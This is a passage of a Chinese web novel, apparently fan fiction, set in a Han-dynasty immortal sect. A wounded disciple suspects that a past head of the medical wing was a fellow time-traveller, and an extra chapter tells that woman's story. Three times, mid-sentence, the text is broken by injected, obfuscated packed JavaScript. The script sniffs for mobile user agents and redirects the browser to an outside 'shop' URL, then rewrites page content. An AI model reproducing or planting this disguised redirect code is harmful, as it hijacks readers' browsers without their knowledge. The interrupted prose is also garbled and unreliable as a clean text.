他一噎,似乎没想到我躺在床上半死不活居然还能如此强势,但他立马反应过来,重新整理了一下衣服,换了个坐姿道,“牙尖嘴利!我不过是为当晚所有参战的弟子打抱不平,来给他们出头罢了!” “谁都知道那张姜子当年可是史君的爱徒,如今她欺师灭祖,背叛师门,反过来与隐鸢阁为敌,我们连问问都不成?” ……?我不知道。怎么突然被塞了一嘴如此劲爆的消息。 周围窸窸窣窣的声音变大了,看起来好像很多人都知道此事,并对史君颇有微词。 “……阿姜,是我教导不周。”史君说道,“但此事与这孩子没什么牵扯,她也是重伤未愈,不必在她床前讨论此事……” “当晚所有负伤的弟子此刻都在这里,为何不在此处说?” “你本在宫中的太一宫修行,多年不回隐鸢阁,自然是对阁内弟子无甚感情,”季山义愤填膺道,“但那日之祸也算因你而起,这么多天过去,你不打算给我们个说法吗!” “没错……”周围小声的讨论声响起。 “他多年在外,自是不关心我们的死活……” 史君一时哑口无言。看他样子,并非像季山所说,对阁内弟子受伤这件事没什么感触。 “我看,史君你还是……” “已经背弃师门的弟子犯下的过错,也要算在原来的师父头上?”我见那人要说对史君很不利的话,只好再次出口打断他,“那人已不认史君为师,她闯下再大的祸事,也不该由史君代替她承担责罚。” “此事是张姜子一人为之,与史君有何关系?长老跟史君讨说法,怕是找错人了吧。” 我此话一出,刚刚整个房间里,朝向史君的那种剑拔弩张的气氛一滞。 “你……师长说话,岂有你插嘴的份!” 三番五次被我挡回话头,季山气得头发都竖起来了,很没风度地指着我,手指都在微微颤抖。 “晚辈僭越。只是史君待人一向亲和,最不会为自己辩解,我知史君为人,不想史君蒙不白之冤。” “此事若真与史君有关,要如何责罚,全看阁主之意,只是恳求长老不要再咄咄……逼人… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536104|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” ——啊一口气说这么多话我的伤口要裂开了!好痛! 我一时间也没办法去看那人什么反应,痛得疯狂倒气,试图平稳呼吸。 “梨梨?!” 史君见我这个样子,一时也不管那位季山长老了,将手中的小瓷瓶的塞子打开,滴了几滴药在我的伤口处。 那小瓷瓶中的药不知是什么,鲜红如血,直接倒在我敷着厚厚的药膏的伤口处,竟然没有糊在药膏上,而是如水入大海,直接消失了。 几乎是瞬间,那种疯狂的疼痛感一下子减轻了不少。 出现了,修仙世界观的神药…… 我看向史君,他见我神色不再痛苦,松了一口气,心疼地轻轻擦去我额头上的冷汗。 那季山长老见一时占不到史君的便宜,站起身来颇为不忿地哼了一声拂袖而去。 其余人见季山走了,也再无人敢带头上前来找麻烦,一时之间房间内竟安静了许多。 史君拉起屏风,解下腰间的帕子,替我擦干身上的冷汗。 不用再跟其他人的交流,只跟史君说话便轻松了很多。我用气音问他,“史君,我师父呢?” “元直她……被罚闭门思过,现在在阁内的禁闭室中。”史君低声道 “……为什么?!” “她那夜带身受重伤的你回来,问翳部要甘木露……若我那晚早些安顿好伤者及时赶回来,或许就不会发生冲突了。”史君脸上露出沮丧的神情,接着道,“没有阁主的文书,元直进不去翳部存放甘木露的库房……” “她救你心切,便强闯了进去。途中打伤了阻止她的看守府库的弟子,左君便令她闭门思过,以示惩戒。” ……啊。 “她是今天才去领罚的,看着你性命无恙了,她才回去。”史君收起脏了的帕子,替我换好衣服。 “史君,那我什么时候可以回家?” 好想她。 “可能还要再在翳部住一阵子……不知为何,甘木露对你的伤势没有什么效果呢。现在回家去,万一伤势恶化就糟了……” “……好。晚辈听史君安排。” 看起来,还要再住很久院才能回家去。 我躺在床上百无聊赖地想。 “史君去拿你的病历,片刻便回来,”史君为我收拾整齐,轻轻拉上被子,柔声道,“想不想吃甜的?” 病……历?“想。”我艰难地点点头,“史君,病历是什么?” “就是记着你每天吃药呀,吃饭呀,伤势回复如何的记录,”史君温柔地看着我道,“史君待会儿就回来,乖孩子,你先等上片刻。” “……好。” 我懵懵地点头,一时之间还没搞清楚状况。 翳部……这个部门做事为什么是这种风格? 我看着史君拉开屏风走出去——从刚刚季山过来找麻烦时,便发现了这个大房间的与众不同之处。 这个房间,与现代医院的病房布局非常相似。用一扇扇屏风作为隔断,房间里摆着许多床位,与我相近的床位普遍看起来伤势更重,而稍远些地方的病人看起来基本只是轻伤。 床位之间来去着很多穿着统一制服的仙门弟子,在为伤者换药,也有人在记录。 轻伤者与重伤者的分隔,病情记录,甚至是护理…… 这可是东汉,连医院都不应该有的朝代,哪里来的如此现代化的医疗管理系统? ……除我之外,还有其他的穿越者?! 13. 变故3 难道这个穿越者就是我要找的前任神使? ……可是这怎么可能? 她不是神界的神仙吗? 我的大脑彻底混乱了。我隐约有了个很离谱的猜测,离谱到我根本不敢相信自己的判断。 ……不对,还不能妄下结论。 首先还不知道这个神秘的穿越者究竟是不是我要找的失联神使,其次,只是仅仅一位从神界来到这个不知名星球的人,疑似是地球人,不能说明神界就是地球。 我在哪里,神界在哪里,神界是什么,这一切目前都无法仅靠我的怀疑就直接下判断。 只有找到这个人,知道这个人的过去,我才能知道真相。 那么她在哪里?现在就有一个巨大的线索摆在我的眼前,她很有可能是仙门中人。 而她如果真的在仙门中,那就有些麻烦了。我头疼地想。 现任翳部首座——史君,是男性,不是我要找的人。 她能改变一整个部门的制度,那她应当在仙门内地位不低,起码是翳部高层。 但她此时很有可能已经不在阁内了。 徐庶的交友圈很广,也很喜欢跟我聊她和她各路朋友的故事,但是我从来没在她口中听过这个特殊的女人的事情。 ……很难相信如果有个这么特别的人在仙门,徐庶会完全不认识她!加之徐庶曾对我说过,她有很长一段时间并不在仙门内生活,很有可能在徐庶回来之后,那人已经离开隐鸢阁了。 如果是那样,那她卸任之后去了哪里? ……她希望被我找到吗? 假如与女神断联是她主动选择的结果,在不清楚她为什么要这么做的情况下,我贸然去找她,最坏的可能,我会被灭口。 ……想得太多了。现在我连她姓甚名谁都不清楚,等史君回来,跟他打听打听情况好了。 咔哒。 ?什么声音。 又是一声噪音,这次我发现是从哪里传来的声音了。 屏风微微动了动,挪了一点点距离。 又动了动,屏风和墙壁之间出现了一个空隙。 谁……鬼鬼祟祟的…… “谁在那里。”我朝着出现缝隙的方向问道。 屏风一下子僵住了。一个孩子的声音小声且急切地说着,“这是……淑女的房间……你不能……” 另外一个听起来更大一点的孩子的声音听起来满不在乎这件事:“没事,我就跟她说两句话……” “不行……呃……“ 屏风被拉开了一大条缝隙,我跟站在屏风外的一高一矮两个小男孩对上了视线。 高一点的那个孩子看起来年纪稍大一些,大概小学四五年级的样子。他头发随意地束着着,晒得很黑,皮肤粗糙,体格看起来很健壮,两只手扶着屏风。另一个孩子则更年幼一些,看起来和辩儿差不多大,两只手抓着那个大孩子的一条手臂,眼睛死死地闭着。 他们两个穿着一样的衣服,料子和制式看起来是翳部统一的制服。 “你们是谁啊。”我问道。 “我叫华佗,”那个高个子孩子开口,“他叫张机。”他一指自己身边那个闭着眼睛的孩子。 “……我叫梨树。” 竟然这么突然地就遇到了未来的神医。 “你就是徐元直的弟子?看着可真惨,听说徐元直为了救你,一个人斩杀了上千妖魔!她可真威风!” “咱们要叫徐前辈……”张机依旧紧紧合着眼睛,拉扯着华佗的衣角急切小声地提醒他。 “啊?哦,我老忘。我们江湖上都是直呼名字的!哪有这么多规矩!” “小子,你是听谁胡说的?那张姜子要是能操控上千走尸傀儡,山下半个益州都得她说了算!” 旁边有人嘲讽少年夸大其词,其他人听到这话也跟着笑出了声。 “没有上千?那有多少?”华佗听见有大人笑话他,一时对我也不好奇了,转过头问那些人。 “上千虽没有,但也有好几百个……” “哪有好几百,要我说,也就百余人数!” “不可能只有百余人!当时黑压压一片,那林子里站得满满当当……” “徐神来之前我真以为自己要交代在那了……” 众人七嘴八舌议论开来,但议论也议论不出什么结果,当时毕竟是深夜,难以看清状况。 我见张机仍然死死闭着眼睛,不禁有些好奇,“你为什么要闭着眼睛?” “是啊,姓张的你闭着眼睛干什么?”华佗看那些大人聊得火热,插不进嘴去,听我问这个问题,也开始好奇起来了。 “我们是男子,当然不能直视别家女眷。” 原来是这样。 因为徐庶作风一向不拘小节,我们三人年纪又尚幼,我差点忘记古代男女大防很严重这件事了。 “为什么?直视了会怎么样?”华佗大大咧咧地问。 “……我不知道。”张机的声音听起来有些落寞,“我娘以前就是这么教我的。” “小子,刚上山还不习惯,过两年就知道了!咱们这山上不比山下,没那么多死规矩!”又有人听见我们谈话,笑着打岔。 “就是。都是一帮在山下呆着被嫌碍事的人,被赶上了山谁还要巴巴地听他们的话……” 整个病房闹哄哄一片,我才发觉这里竟然有这么多人。 竟然有这么多人负伤…… 张姜子。她的能力在这个热武器没有普及的时代,一个人就相当于一小支步兵,真是麻烦。 张机听了他们的话,迟疑地睁开了眼睛,只是习惯使然,仍然没有直接看向我。 “咦?阿佗阿机,你们怎么在这?” 史君回来了。他手里拿着一个托盘,托盘上放着笔墨竹简,和一个放着汤匙的小碗。 “史君。”二人向史君打招呼。 “我们跟梨树聊天呢。”华佗说。 “哎呀……变成好朋友了呀……”史君又露出了那种软蓬蓬的笑容,绕过他二人走进来,把托盘放在了床边,“不过已经中午了,你们两个不回去用饭吗?”史君问道。 “啊,到饭点了!走走走,回去吃饭去!”华佗拉着张机就要走,张机被拽着,乱七八糟地跟史君道了别,二人就这么跑远了。 史君起身,刚要把屏风拉上,华佗的脑袋突然又探了出来,“等午后,我们念完书再来找你聊天!” “好。”我朝他点了点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536105|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这才放心地离开。史君被那孩子逗笑了,拉上屏风走到我身边,说道:“真是有意思的孩子……” “史君,他们也是翳部的郎中吗?”我问。 “嗯?……啊,没错。”史君短暂迟疑了一下,“阿佗是稚川的弟子,阿机是水镜的弟子……都是你没见过的前辈呢。”他笑答,“等年末祭祀的时候,史君带你们去打招呼呀。” “谢谢史君。”年末还有祭祀,不知到时我的伤能恢复到什么程度。 “来,把午饭吃了。”史君端起那个小碗,搅动着让它尽快凉下来。 他把汤匙送到我嘴边,汤匙里乘着浓稠的黄色米油,散发着香甜的气息。 是加了很多蜂蜜的小米油。 好甜…… “慢慢咽……”他柔声哄着,“烫不烫?” “不烫的。”我轻轻摇头,趁着屋内声音杂乱,我小声道,“史君,那个季山长老的事情,要不要告诉阁主?” 史君惊讶地看我,顿了一息,他摇了摇头。 史君大概是想多一事不如少一事,但那个季山这次敢当众给史君扣帽子,恐怕在他达到他的目的之前,不会善罢甘休。 这个部门如此独特,利益牵扯只会多不会少,不服空降领导的人一定不在少数。为何左君会选史君这个性格温柔和善,不擅与人争执的人来当首座呢。 “孩子,你不用担心我。”小碗里装着的米油很少,大概是怕我吃得太多撑裂伤口,几口的功夫就已经见底。史君将碗搁回托盘里,拿了块干净的帕子帮我洗脸,“大人的事情……大人会解决的,多忧多思,于养伤不益呀。” “……是。”听他这样说,我只好暂时放下了这个话题。 他帮我擦干净脸,随即转过身去,在床边的矮桌上写我的病历。 要从哪里开始问那位穿越者的事情比较自然呢…… “上次……史君说要请我们吃点心,我就很想尝尝史君的手艺,”我说,“结果今天才吃到呢。史君,那个甜甜的东西,我能每天都吃吗?” “可以呀。”他边写边柔声道,“你喜欢就好……这次你受伤,脏腑都有不同程度的损伤,虽有甘木露治好了破损之处,不过为求稳妥,最近两天都要吃米粥才行。” “而且……哈哈,你今天吃的东西,并不是我做的呢,”他接着说,“翳部有专门的厨房,为伤者料理病中要吃的饭食,也算在药方之中,我只是帮你拿来而已。” “啊……”竟然不是史君的手艺,我有点失望。 不过,翳部竟然连食堂都有,甚至还有定制病号餐的业务? “史君,为何翳部连病患的食物也要开药方?晚辈从没听过这种规矩。” “是呀……以前哪里都没有这些规矩的。”史君的脸上浮现出了一个怀念的神情,“翳部会是今天这个样子,还是前任翳部首座的功劳呢。” 前任首座?! ……是了,能在古代将现代医院的制度引进并建立到这种程度,她不可能不在这个位置。 真是让人惊讶,她究竟是什么人? “……史君,能给我讲讲她的故事吗?我想听。” “可以呀。说起那位前任首座,可真是个了不起的姑娘呢。” 14. 番外一 汉末女医传大结局* *:本文将有很多番外篇,基本为第三人称交代重要信息的篇章,章节名称有意义 ———————————————— 大雪纷飞。 史子眇回头,一只手向上推了推斗笠,站在西岭雪山的山道回望山下的人间。 从雒阳一路回隐鸢阁,去时城中秋叶金黄,等到达西蜀时,树枝上已有了薄薄的积雪。 他抖落蓑衣上新落的雪,骑上马继续往山门方向赶路——此次出行他没有带着弟子,是独身一人回来的。也因为没有繁琐的仪仗,他才能在冬至前赶回山门。 今年的年末有一些特殊。往年只需太一宫准备占卜祈福等事宜,并不需要劳动山上的仙人们。 而今年,皇帝请阁主亲自出山,往雒阳宫中主持年末祭祀。 得益于此,史子眇终于有机会向皇帝告假,久违地有了回阁内探望的机会。 想到这里,史子眇不禁长叹了一口气。 朝中几乎没有一天安生日子。史子眇虽只是道人,并无多少权力,也不会卷进士大夫与宦官之间的争斗里,但在那样混乱的环境之下他心里难免不安。 更何况……他还有个需要对朝中众人保密的身份。 稷下学宫的组织人。 稷下学宫这个给各家少数派学说的成员提供交流场所的地方,万一被发现,恐怕逃脱不了被当做政绩进献上去的命运。 夹缝生存难免疲惫。史子眇想着,或许到了要为学宫与太一宫众弟子寻一个新出路的时候了。 契机在何处呢。 —— “唔哇哇哇哇哇!!!” “呃!” 史子眇勒马,惊讶地看着从林间飞速滚出来的人影。 那人影穿着隐鸢阁中作为雇钱的一部分统一发放的布料制成的衣服,多亏这身衣裳,史子眇才确定来者不是刺客,“这是怎么了?”他从马上下来,快步走上前去查看那人的情况。 “我没事,没事……吓死我了……” 神秘的少女挣扎着爬了起来,手心被磨破了皮,她就用手背拍打掉全身沾着的脏雪与碎木枝。 她抬起脸,看向了史子眇。 ……是不认识的孩子。史子眇想。他曾经还在阁内时,能记住阁中每个孩子的相貌姓名,这么多年过去,阁中已经有他不认识的新面孔了。 “你可是隐鸢阁弟子?我名史子眇,正要回山门探访故人。” “啊,您好您好……对的对的,我是隐鸢阁的弟子!” 她的眼睛又大又亮,整个人从内而外散发出一种与其他人相比过于礼貌的单纯气质。 “我姓白,您叫我小白就行了。” —— “原来你就是左君新任命的翳部首座……”史子眇惊讶地看着小白。 “嘿嘿……看着不像吧,哎呀还是多亏了左君的信任与栽培……”小白不好意思地挠了挠脸。 “不……我并非这个意思,”史子眇道,“只是没想到是这么年轻的孩子,真是英雄出少年啊。” “没有没有,您过奖了……” 史子眇牵着马儿,与小白一同在山路上边赶路边闲聊。 “其实……我不能算是新上任了。”小白说道,“我在阁中已经呆了挺长一段时间了……虽然具体有多少年,我自己已经不太记得了,哈哈……” 史子眇听她这样说,忍不住轻笑了起来,“你还那么年轻,怎么像我这个老头子似的健忘?” “哎??史君您……是老人家?真的假的!”小白惊讶地看向史子眇。 “我今年已经……”史子眇朝小白竖起了几根手指。 “……是百岁?” “是哦。” “真的假的……完全看不出来嘛!” 真是个特别的孩子。史子眇边笑着,边心想。 她有一套独特的与人交流的方式,有一种奇妙的轻快感。她的每一个表情,语气,和上扬的尾音都在传达着她的友善。 像西蜀的雪一般洁净纯粹的感觉。 —— 这个孩子的特别之处还不止于此。 史子眇曾经是翳部的创始人,对这个部门的感情很深。 当年创立它的时候史子眇并没有想太多,只是想有一个像稷下学宫那般给医者们交流的地方。 现在这是…… 他惊讶地看着这个井然有序的大医馆。 翳部与长生塔的构造很不一样,因为门下成员职责不同,需求也不同。 长生塔整体的构造还是比较随意的,主塔内部保存山水郎——长生塔成员们在各处搜集到的情报,以及提供情报交流的场所。 因为会长时间呆在山门里的山水郎人数不多,所以外部的布局基本为成员个人自行搭建的流动摊位,怎么方便怎么来。 而翳部需要保存的书面资料则更多,而且成员们普遍需要空间来配药以及安置病人。 所以在一开始的构建中,翳部的“房间”数量就比长生塔更多。 长老们普遍都有单独的院子,写药方与配药以及生活起居都在一起,连带着他们的徒生们也住在一起。 ……但现在,翳部的规模竟然与当初相比又变大了不少,房间的数量更多了。 而且,看起来有很多山下的人来求医问药。 “这里是大厅,”小白向史子眇介绍道,“病人来山上要看病,会由我们的员……我们的徒生带去擅长治疗相应病症的长老那里。长老开的药方也由我们的徒生带去药房拿,明码标价。” “很便利的制度。”史子眇感叹。 而且是很利于首座管理的制度。首座掌握着重要的客源,掐住医者谋利的渠道,让医者完全为首座调遣。 史子眇的心中不免震动。 实在没想到这样天真的孩子竟然有如此手腕。 “我带您去看看我们的药房,这边。”小白带着史子眇穿过大厅——这个熙熙攘攘的地方比起一个房间更像是一个亭台,每个方向都开着门,方便去往各处。 去往西边的那条路通向更高的地方,走上台阶,经过看守的弟子,史子眇跟着小白来到了一个奇怪的房间。 这个房间里,摆满了从未见过的架子,架子是完全封闭的,上面放着一格一格的小抽屉。 也有很多人,手中拿着几枚竹片,在与门口的翳部徒生交谈。 徒生看过竹片,带着竹片去往那些架子。 “这些架子里是分类炮制好的药材,”小白介绍到,“我们的徒生们几乎都要先在这里打几年杂,才能去长老那里学习医术呢……” “要成为一个合格的郎中,不学习很多年是做不到的!” “……为何是郎中?”史子眇听她话中意思,似乎是对医者的称谓,可为何要用官名称医者? “啊?这,啊,其实是我家乡的方言,跟为官的郎中不是一个词……我总不小心说错……”小白表情尴尬地解释道。 “原来是这样。”史子眇道,“在山门内口误倒是无妨,但如果是在山下,一定要谨慎啊,说错了话会给自己惹上大麻烦的。” “是……谢谢史君提醒。”小白又挠了挠脸,笑着向史君道谢。 …… 史子眇的心中涌现了很复杂的情绪。 他在回山门之前,是有想过让翳部成为他新的落脚点的,但现在看来,这个部门已经有了优秀的年轻血液,没有他指手画脚的地方了。 但是,又为她和成长至此的翳部感到高兴。 “那边就是病人们看病的地方……如果伤病很严重,我们会留病人在山门住一阵子,方便我们的医者观察情况。” 小白指了指与药房相对的方向,那边的房屋处于比药房更低的地势,所以能轻松看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536106|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见,那边也是人来人往的,相当热闹。 “总之,翳部目前就是这个样子!”小白道,“其实我还有很多设想没有落地……不过,暂时大概就这样了。” “真是了不起。”史子眇赞道。 “……我在之前就听左君说过,史君您回山门的事情了。”小白说道,“可以问一下,您不远万里回来,除了探亲,还有别的目的吗?” “……” 史子眇一时很难开口。 “听说山下的情况很不好。” “是啊。” “史君有打算回隐鸢阁吗?” 史子眇愣住了。 他当然听懂了小白的言下之意,正因如此他才更不能理解。史子眇困惑地看向小白,不懂她为何口出此言。 “其实……我因为一些事情,最近就要离开隐鸢阁……可能要离开很多年,所以正在找合适的人接手我的位置。” 小白说道。 “……是什么事情,一定要放弃首座之位不可呢。翳部现在能变成这样,都是你的功劳啊。” “其中一个原因是我最近要结婚了……不,这不是主要原因!” 小白提起自己的婚事,脸不自觉红了起来,不过她马上反应过来还有正事要讲,表情变得严肃起来。 “史君回隐鸢阁的路上……可曾遇到过妖魔?” ——— 这个世间出现了很诡异的事物。 史子眇当然知道小白口中说的“妖魔”,指的是什么。 那些东西没有人型,似乎也并不会思考。如果不小心遇到,则会被卷进它们制造的“幻梦”里。 史子眇一路回来,时常能听说某处出现了他们的踪影,被它们卷走的人,轻则受到惊吓,重则魂魄被吸走,变得疯疯癫癫,再也无法像正常人一般思考。 史子眇也偶然遇到过几次,但不知是否是因为仙人的力量比常人更强,那些东西只是微微试探了一下,便不敢来犯了。 至于那些东西到底是什么,谁也不清楚。 她为什么突然提起这个? “最近被它们伤害的人越来越多了。”小白解释道,“虽然目前还没有听说出过人命……不过我打算跟我的搭档下山除妖。” “毕竟如果继续拖下去,谁也不知道会发展成什么样子。” “可是那毕竟很危险……你又不是仙人,万一也被害得无法思考该如何是好?” “……” 小白抿了抿嘴,看着史子眇担忧的神情,她扬起一个微笑。 “但是……我还是要去做。” “如果我不去做的话,还有谁能阻止那些东西继续伤害人呢。” 史子眇一时无话可说。 因为在现在这个人人自危的环境,确实没有任何力量能保护那些被伤害的普通人。 朝廷与权贵是不会在意这种“小事”的。 “而且,史君你不用太担心我!我的搭档实力很强,有她在我不会有大危险的!”小白说道,“我的搭档是郭解,史君你认识她吗?” 游侠郭解,史子眇当然认识她。 她是隐鸢阁众仙之一,只是平日在外行走,很少回仙门。 虽不知她们是如何相识,但如果有郭解为她护法,确实可以放心。 “……原来是她。但即使有郭解为你护法,也一定要万事小心。” “无人知晓那些东西究竟是何物,若你有办法除之,百姓便能免受侵扰之苦。虽无封侯之赏,却有济民之勋。” “君当勉力啊。” 史子眇看着眼前这个眼神坚定的少女,除了为她加油,再无话说。 这是史子眇第一次,也是最后一次见到小白。 再次听到她的消息,已经是她的死讯了。 王妃白与先广陵王于大火中丧生,仅留下一女,交于仙人左慈抚养。 15. 变故5 床边的火炉里发出哔哔啵啵木柴燃烧的声音,我坐在床上,披着徐庶的狼皮大氅,抄着拜师帖。 在翳部住了一个多月,如今出院也已经有半个月了,但我的伤还没彻底养好。一旦不小心做了太大的动作,身体内部还没长好的伤就会钻心地疼。还变得特别怕冷,前两天下了雪,气温骤降,本来还能在院子里走两步做术后复健,雪后就连房间门都出不去了,屋里的火炉也没日没夜地烧着。 徐庶在禁闭室的禁足没持续几天就结束了。也是在翳部住院时听旁人说起我才知道,徐庶那晚本来在云帝宫外当值,等解决完那些走尸匆忙赶回住所,才突然发现我不见了。 因为我们住的偏殿处于走尸入侵的相反方向,所有人都以为张姜子的目的是云帝宫主殿,根本无人预料到她会绕后悄声带走我。如果不是被徐庶在意着,我很有可能就那么悄无声息地死在张姜子手里了。 强闯存放甘木露的库房本来是大罪。似乎是曾经有人为了抢药发起过叛乱,所以惩罚极重。但因为徐庶在那晚出力最多(她一个人解决了大部分怪物,还救下了许多差点被杀的人)且事出有因,再加上平日人缘极好,所以有很多人在听说她因为强闯翳部库房被罚之后,去左君那里为她求情。 于是,左君取消了重罚,只罚了徐庶一年雇钱,又给那名挨了打的守卫一些钱帛作为补偿,这件事就这么结束了。 ……怪不得当时季山来找史君的茬时,我只是随便帮史君说了几句话他就知难而退了。 原来是假了老虎的威。 现在徐庶每天不仅要当值,还要去翳部帮我拿药,实在辛苦。这次回家,徐庶把我的小床从之前的房间搬到了她的房间,方便她随时观察我的情况。 我抄完最后一个字,下床走到房间的桌案边,把两份竹简摆在同一处,等新的这一份阴干。 两份拜师帖,一份字迹潇洒飘逸,一份字迹歪七扭八……毛笔字真的很难写啊…… 但总之,这样就暂时了结了我的一件心事。接下来,还有一件更重要的事情要解决。 跟女神确认神使的身份,以及,向徐庶坦白我修炼的秘密。 自从从史君口中得知了那位神秘的穿越者的身份后,我就觉得,神使大概率就是此人。 因为我的任务,就是继承自她没能完成的事。 ……但她已经不在了,我对于这个世界的疑惑,可能真的要等到我去到神界之后才能有答案了。 如果说我现在还有什么担心的事情,那就是在目前的安稳生活里,还有一个不知何时会爆炸的地雷。 张姜子……史君曾经的弟子,她为什么会背弃师门,更重要的是,她为什么还非要让我也跟她一起离开隐鸢阁? ……而且,显而易见,我在短时间内根本不会是她的对手,万一她又来,我该怎么对付她呢。 我拿起桌上的两个石头杯子,倒上水放了一些茶和果干进去,放在炉子上热着。 冬天的白天真是短,才刚刚吃过午饭没多久,天就又要黑了。 她回来的时间,好像也差不多了…… 我听见了外院大门被打开又关上的声音,轻巧又稳重的脚步声渐渐近了。 “呼!好暖和!” 徐庶把挂在门上挡风的兽皮掀开一条缝,侧着身挤了进来,带进来一阵冰冷潮湿的雪风。 看我被她带进来的风冻了一哆嗦,徐庶哈哈一笑,走过来用她冻得冰凉的手捧住了我的脸。 好冰好冰! “凉吧?今天外头也还是特别冷,明天也要乖乖呆在家里,不能自己一个人跑出去,知道吗?” 徐庶只是捉弄了一下我就把手放开了。我向她点点头,指了指炉子上的杯子,“我给你煮了茶。” “这么好?” 徐庶搓着手过去,冰凉的手摸到杯子时被烫得一缩,她轻轻点着杯子,让手适应杯子的温度,慢慢把杯子捧了起来。 “好香啊,梨梨你往里面加了什么?” 徐庶嘬了一口热茶,被香味吸引,惊讶地看着手里的杯子。 “加了一些切成丝的猕猴桃干和橘子干。”我说,“从你之前拿回来的包裹里找到的。” “嗯……大概是振之*塞进去的,她就爱吃这种点心。”徐庶嘴上说着,捧着那杯热茶边喝边走去了储物间——那个房间是这间主卧的一个附属小房间,没有连通外部的门,靠开在主卧内部的小门进出。 徐庶会把一些杂物和吃的存放在里面,入冬之后这个小房间就显得格外方便了——东西如果放在其他的房间,要拿取就一定要穿过庭院,放在这里面就不必再出门和穿衣脱衣。 徐庶拿了一口小石锅出来,同时还攥着一只长柄勺。那锅里放着一整只兔肉,还有一些萝卜干。食材顶上还放了一些花椒,和一些看起来似乎是葱和姜的调料。 她把火炉上面垫的陶盖挪开,把小锅蹲在火炉上,手里的杯子也顺手放在一边。趁锅子还没彻底热起来,她拿起旁边桌上一个碗走出了屋门,再进门时,碗里舀了满满一碗雪。 她坐在床边,将那碗雪往锅子里一扣,拿长柄勺搅了搅,将兔肉翻到雪上,等着雪水慢慢融化。我爬上床,紧挨着她坐着。 我抱着她的手臂,隔着她看那口小锅,看着雪水一点点融化,我的脑子里突然浮现出一个念头。 要是家里有个厨房的话就好了。可以随便做自己喜欢吃的,不用担心弄脏房间。 最重要的是,这样就不用跑去别人家吃饭了。徐庶的工作很忙,也不爱用人,大概是因为这样才一直去左君那里吃吧。 反正现在的我只需要养伤,伤好了之后每天也只是修炼而已,完全可以自己做饭。 “师父,咱们家要不要垒个灶台?”我抬头问徐庶。 “不用垒。”徐庶拒绝了我。 我一愣。我之前那些离谱的要求她都答应了,为什么这个普通的要求反而被拒绝了? “但是……有了灶台就可以随便在家做吃的了……”我不死心,接着开口道。 “另起炉灶不是那么容易的,”徐庶低头看了看火势,似乎是刚刚好,她没有继续往里面添柴火。她把视线从火炉里移开,看着我说道,“怎么了?不喜欢左君那里的饭食吗?” “没有不喜欢,”我摇摇头,“只是不明白为何一定要去麻烦师尊。” 徐庶听我这么说,表情微微有点惊讶,看着我说,“小孩一个……心思倒是不少。” “不过这不能算得是咱们在麻烦左君,”徐庶拎起茶杯嘬了一口,“这本就是他的安排。” 嗯? 我疑惑地看向徐庶,她开口解释道:“左君时常要闭关修炼,有时甚至要闭关数年。他没办法一直照顾小宝和辩儿。我与史君便负责在他闭关时,照顾两个孩子。” “哦,对了,闭关就是……”徐庶思考了一下,接着说,“存世更久的仙人们,每隔一段时间便要经历羽化。羽化时的仙人会变得极其脆弱,所以左君会去谁也进不去的地方闭关。” 竟然是这样…… 似乎是觉得我垂头丧气的样子很好笑,她“噗”地一下乐了,手拖着我的下巴捧高。我顺着她的力气躺在了她臂弯里,和她对视。 “其实……梨梨,你要是真的只想跟师父一起生活,或者你不想在蜀地呆了,想去其他地方,师父都可以陪你。只是这几年不行。” “因为一些旧事,师父要留在仙门很长一段时间。”她放开我的脸,看着我说道,“我之前是不是跟你说过,我之前有很长时间不在门内?” “嗯。”我点头。是上次一起打扫房间的时候聊天说到的。 “大概前几年的时候,我在山下接到了左君的传信,命我回山门,重新接任长生塔首座之位。” 她拎着只剩了一小口的茶杯随意地晃了晃,抬头一饮而尽,“年轻的时候,我随主公四处征战,去关外打过几场仗。但后来主公身死,我亦犯下大错,是左君想尽办法保下了我。” “那时他说,快则数十年,慢则百年,世间会有大异变。若我一死了之,将无人能助天命所选之人。” “于是,我服下仙胎,苟活了下来。” 说完,她长长地,叹了一口气。 “在这之前的百余年……具体是怎么过来的,都不太记得了。” “一个人四处漂泊。仙人轻易也饿不死,有时候在士族那里当门客,拿钱干活,腻了就去深山老林里一个人待着。” “简直像个野人一样。”想起自己的窘态,徐庶忍不住笑了出来。 “自由自在惯了……”她放下杯子伸了个懒腰,顺势躺在了床上,“再回人间的时候,话都不会说了,装了好几年深沉,哈哈……” “师父不喜欢回山门的生活吗?”我问道,顺势爬到了床上,反曲腿朝她坐着。 她转头看向我,笑着摇了摇头,“不是。我很喜欢人间。” “我只是觉得……自己已经不属于人间了。曾经上天给我的许多,早已经被全数收回。”她低声道。“若无左君出手,我作为人的一生早该结束了。” “救命之恩未报,还得回这红尘里滚一遭。于是我听命,回阁接管长生塔。” 